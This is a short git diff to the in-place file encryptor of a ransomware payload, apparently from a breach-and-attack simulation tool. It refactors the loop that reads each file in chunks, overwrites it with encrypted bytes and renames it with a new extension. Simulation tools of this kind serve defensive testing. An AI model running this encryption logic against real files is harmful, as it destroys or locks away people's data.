diff --git a/monkey/infection_monkey/payload/ransomware/in_place_file_encryptor.py b/monkey/infection_monkey/payload/ransomware/in_place_file_encryptor.py index f4bcaf3aa..fc5523352 100644 --- a/monkey/infection_monkey/payload/ransomware/in_place_file_encryptor.py +++ b/monkey/infection_monkey/payload/ransomware/in_place_file_encryptor.py @@ -28,17 +28,12 @@ class InPlaceFileEncryptor: def _encrypt_file(self, filepath: Path): with open(filepath, "rb+") as f: - data = f.read(self._chunk_size) - while data: - num_bytes_read = len(data) - + for data in iter(lambda: f.read(self._chunk_size), b""): encrypted_data = self._encrypt_bytes(data) - f.seek(-num_bytes_read, 1) + f.seek(-len(encrypted_data), 1) f.write(encrypted_data) - data = f.read(self._chunk_size) - def _add_extension(self, filepath: Path): new_filepath = filepath.with_suffix(f"{filepath.suffix}{self._new_file_extension}") filepath.rename(new_filepath)